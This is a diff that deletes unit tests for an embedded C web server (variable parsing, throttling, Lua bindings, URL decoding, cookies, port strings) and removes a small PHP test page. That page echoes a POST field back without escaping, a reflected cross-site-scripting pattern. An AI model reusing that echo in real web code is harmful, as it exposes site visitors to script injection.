-  ASSERT(mg_get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
-  ASSERT(buf[0] == '\0');
-
-  ASSERT(mg_get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
-  ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
-
-  ASSERT(mg_get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
-  ASSERT(mg_get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
-  ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
-  ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
-}
-
-static void test_set_throttle(void) {
-  ASSERT(set_throttle(NULL, 0x0a000001, "/") == 0);
-  ASSERT(set_throttle("10.0.0.0/8=20", 0x0a000001, "/") == 20);
-  ASSERT(set_throttle("10.0.0.0/8=0.5k", 0x0a000001, "/") == 512);
-  ASSERT(set_throttle("10.0.0.0/8=17m", 0x0a000001, "/") == 1048576 * 17);
-  ASSERT(set_throttle("10.0.0.0/8=1x", 0x0a000001, "/") == 0);
-  ASSERT(set_throttle("10.0.0.0/8=5,0.0.0.0/0=10", 0x0a000001, "/") == 10);
-  ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/index") == 5);
-  ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/foo/x") == 7);
-  ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0b000001, "/foxo/x") == 0);
-  ASSERT(set_throttle("10.0.0.0/8=5,*=1", 0x0b000001, "/foxo/x") == 1);
-}
-
-static void test_next_option(void) {
-  const char *p, *list = "x/8,/y**=1;2k,z";
-  struct vec a, b;
-  int i;
-
-  ASSERT(next_option(NULL, &a, &b) == NULL);
-  for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
-    ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
-    ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
-                      b.len == 4));
-
-    ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
-  }
-}
-
-#ifdef USE_LUA
-static void check_lua_expr(lua_State *L, const char *expr, const char *value) {
-  const char *v, *var_name = "myVar";
-  char buf[100];
-
-  snprintf(buf, sizeof(buf), "%s = %s", var_name, expr);
-  (void) luaL_dostring(L, buf);
-  lua_getglobal(L, var_name);
-  v = lua_tostring(L, -1);
-  ASSERT((value == NULL && v == NULL) ||
-         (value != NULL && v != NULL && !strcmp(value, v)));
-}
-
-static void test_lua(void) {
-  static struct mg_connection conn;
-  static struct mg_context ctx;
-
-  char http_request[] = "POST /foo/bar HTTP/1.1\r\n"
-      "Content-Length: 12\r\n"
-      "Connection: close\r\n\r\nhello world!";
-  lua_State *L = luaL_newstate();
-
-  conn.ctx = &ctx;
-  conn.buf = http_request;
-  conn.buf_size = conn.data_len = strlen(http_request);
-  conn.request_len = parse_http_message(conn.buf, conn.data_len,
-                                        &conn.request_info);
-  conn.content_len = conn.data_len - conn.request_len;
-
-  prepare_lua_environment(&conn, L);
-  ASSERT(lua_gettop(L) == 0);
-
-  check_lua_expr(L, "'hi'", "hi");
-  check_lua_expr(L, "mg.request_info.request_method", "POST");
-  check_lua_expr(L, "mg.request_info.uri", "/foo/bar");
-  check_lua_expr(L, "mg.request_info.num_headers", "2");
-  check_lua_expr(L, "mg.request_info.remote_ip", "0");
-  check_lua_expr(L, "mg.request_info.http_headers['Content-Length']", "12");
-  check_lua_expr(L, "mg.request_info.http_headers['Connection']", "close");
-  (void) luaL_dostring(L, "post = mg.read()");
-  check_lua_expr(L, "# post", "12");
-  check_lua_expr(L, "post", "hello world!");
-  lua_close(L);
-}
-#endif
-
-static void test_mg_stat(void) {
-  static struct mg_context ctx;
-  struct file file = STRUCT_FILE_INITIALIZER;
-  ASSERT(!mg_stat(fc(&ctx), " does not exist ", &file));
-}
-
-static void test_skip_quoted(void) {
-  char x[] = "a=1, b=2  c='hi \' there'", *s = x, *p;
-
-  p = skip_quoted(&s, ", ", ", ", 0);
-  ASSERT(p != NULL && !strcmp(p, "a=1"));
-
-  p = skip_quoted(&s, ", ", ", ", 0);
-  ASSERT(p != NULL && !strcmp(p, "b=2"));
-
-  // TODO(lsm): fix this
-#if 0
-  p = skip_quoted(&s, "'", ", ", '\\');
-  p = skip_quoted(&s, "'", ", ", '\\');
-  printf("[%s]\n", p);
-  ASSERT(p != NULL && !strcmp(p, "hi ' there"));
-#endif
-}
-
-static void test_alloc_vprintf(void) {
-  char buf[MG_BUF_LEN], *p = buf;
-
-  ASSERT(alloc_printf(&p, sizeof(buf), "%s", "hi") == 2);
-  ASSERT(p == buf);
-  ASSERT(alloc_printf(&p, sizeof(buf), "%s", "") == 0);
-  ASSERT(alloc_printf(&p, sizeof(buf), "") == 0);
-
-  // Pass small buffer, make sure alloc_printf allocates
-  ASSERT(alloc_printf(&p, 1, "%s", "hello") == 5);
-  ASSERT(p != buf);
-  free(p);
-}
-
-static void test_request_replies(void) {
-  char ebuf[100];
-  int i, port = atoi(HTTPS_PORT);
-  struct mg_connection *conn;
-  struct mg_context *ctx;
-  static struct { const char *request, *reply_regex; } tests[] = {
-    {
-      "GET test/hello.txt HTTP/1.0\r\nRange: bytes=3-5\r\n\r\n",
-      "^HTTP/1.1 206 Partial Content"
-    },
-    {NULL, NULL},
-  };
-
-  ASSERT((ctx = mg_start(&CALLBACKS, NULL, OPTIONS)) != NULL);
-  for (i = 0; tests[i].request != NULL; i++) {
-    ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
-                               tests[i].request)) != NULL);
-    mg_close_connection(conn);
-  }
-  mg_stop(ctx);
-}
-
-static int api_callback(struct mg_connection *conn) {
-  struct mg_request_info *ri = mg_get_request_info(conn);
-  char post_data[100] = "";
-
-  ASSERT(ri->user_data == (void *) 123);
-  ASSERT(ri->num_headers == 2);
-  ASSERT(strcmp(mg_get_header(conn, "host"), "blah.com") == 0);
-  ASSERT(mg_read(conn, post_data, sizeof(post_data)) == 3);
-  ASSERT(memcmp(post_data, "b=1", 3) == 0);
-  ASSERT(ri->query_string != NULL);
-  ASSERT(ri->remote_ip > 0);
-  ASSERT(ri->remote_port > 0);
-  ASSERT(strcmp(ri->http_version, "1.0") == 0);
-
-  mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n");
-  return 1;
-}
-
-static void test_api_calls(void) {
-  char ebuf[100];
-  struct mg_callbacks callbacks;
-  struct mg_connection *conn;
-  struct mg_context *ctx;
-  static const char *request = "POST /?a=%20&b=&c=xx HTTP/1.0\r\n"
-    "Host:  blah.com\n"     // More spaces before
-    "content-length: 3\r\n" // Lower case header name
-    "\r\nb=123456";         // Content size > content-length, test for mg_read()
-
-  memset(&callbacks, 0, sizeof(callbacks));
-  callbacks.begin_request = api_callback;
-  ASSERT((ctx = mg_start(&callbacks, (void *) 123, OPTIONS)) != NULL);
-  ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
-                             ebuf, sizeof(ebuf), "%s", request)) != NULL);
-  mg_close_connection(conn);
-  mg_stop(ctx);
-}
-
-static void test_url_decode(void) {
-  char buf[100];
-
-  ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1);  // No space for \0
-  ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
-  ASSERT(strcmp(buf, "foo") == 0);
-
-  ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
-  ASSERT(strcmp(buf, "a+") == 0);
-
-  ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
-  ASSERT(strcmp(buf, "a ") == 0);
-
-  ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
-  ASSERT(strcmp(buf, "%") == 0);
-
-  ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
-  ASSERT(strcmp(buf, "%6") == 0);
-
-  ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
-  ASSERT(strcmp(buf, "a") == 0);
-}
-
-static void test_mg_strcasestr(void) {
-  static const char *big1 = "abcdef";
-  ASSERT(mg_strcasestr("Y", "X") == NULL);
-  ASSERT(mg_strcasestr("Y", "y") != NULL);
-  ASSERT(mg_strcasestr(big1, "X") == NULL);
-  ASSERT(mg_strcasestr(big1, "CD") == big1 + 2);
-  ASSERT(mg_strcasestr("aa", "AAB") == NULL);
-}
-
-static void test_mg_get_cookie(void) {
-  char buf[20];
-
-  ASSERT(mg_get_cookie("", "foo", NULL, sizeof(buf)) == -2);
-  ASSERT(mg_get_cookie("", "foo", buf, 0) == -2);
-  ASSERT(mg_get_cookie("", "foo", buf, sizeof(buf)) == -1);
-  ASSERT(mg_get_cookie("", NULL, buf, sizeof(buf)) == -1);
-  ASSERT(mg_get_cookie("a=1; b=2; c; d", "a", buf, sizeof(buf)) == 1);
-  ASSERT(strcmp(buf, "1") == 0);
-  ASSERT(mg_get_cookie("a=1; b=2; c; d", "b", buf, sizeof(buf)) == 1);
-  ASSERT(strcmp(buf, "2") == 0);
-  ASSERT(mg_get_cookie("a=1; b=123", "b", buf, sizeof(buf)) == 3);
-  ASSERT(strcmp(buf, "123") == 0);
-  ASSERT(mg_get_cookie("a=1; b=2; c; d", "c", buf, sizeof(buf)) == -1);
-}
-
-static void test_strtoll(void) {
-  ASSERT(strtoll("0", NULL, 10) == 0);
-  ASSERT(strtoll("123", NULL, 10) == 123);
-  ASSERT(strtoll("-34", NULL, 10) == -34);
-  ASSERT(strtoll("3566626116", NULL, 10) == 3566626116);
-}
-
-static void test_parse_port_string(void) {
-  static const char *valid[] = {
-    "1", "1s", "1r", "1.2.3.4:1", "1.2.3.4:1s", "1.2.3.4:1r",
-#if defined(USE_IPV6)
-    "[::1]:123", "[3ffe:2a00:100:7031::1]:900",
-#endif
-    NULL
-  };
-  static const char *invalid[] = {
-    "0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p",
-    NULL
-  };
-  struct socket so;
-  struct vec vec;
-  int i;
-
-  for (i = 0; valid[i] != NULL; i++) {
-    vec.ptr = valid[i];
-    vec.len = strlen(vec.ptr);
-    ASSERT(parse_port_string(&vec, &so) != 0);
-  }
-
-  for (i = 0; invalid[i] != NULL; i++) {
-    vec.ptr = invalid[i];
-    vec.len = strlen(vec.ptr);
-    ASSERT(parse_port_string(&vec, &so) == 0);
-  }
-}
-
-int __cdecl main(void) {
-  test_parse_port_string();
-  test_mg_strcasestr();
-  test_alloc_vprintf();
-  test_base64_encode();
-  test_match_prefix();
-  test_remove_double_dots();
-  test_should_keep_alive();
-  test_parse_http_message();
-  test_mg_download();
-  test_mg_get_var();
-  test_set_throttle();
-  test_next_option();
-  test_mg_stat();
-  test_skip_quoted();
-  test_mg_upload();
-  test_request_replies();
-  test_api_calls();
-  test_url_decode();
-  test_mg_get_cookie();
-  test_strtoll();
-#ifdef USE_LUA
-  test_lua();
-#endif
-
-  printf("TOTAL TESTS: %d, FAILED: %d\n", s_total_tests, s_failed_tests);
-
-  return s_failed_tests == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
-}

test/x.php

@@ -1,9 +0,0 @@
-<html>
-  <form method="post">
-    <input name="x" type="text" />
-    <input type="submit" />
-  </form>
-
-  <? echo $_POST["x"]; ?>
-  
-</html>